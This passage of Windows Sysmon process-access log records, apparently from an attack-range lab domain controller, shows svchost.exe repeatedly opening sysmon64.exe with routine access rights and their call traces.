11:50:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2207,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:07.797\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:07.797","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2208,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:07.797\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:07.797","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2209,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:07.797\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:07.797","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2210,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:07.797\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:07.797","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2211,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:07.797\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:07.797","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2212,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:07.797\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:07.797","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2213,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:07.797\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:07.797","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2214,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:07.797\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:07.797","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2215,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: 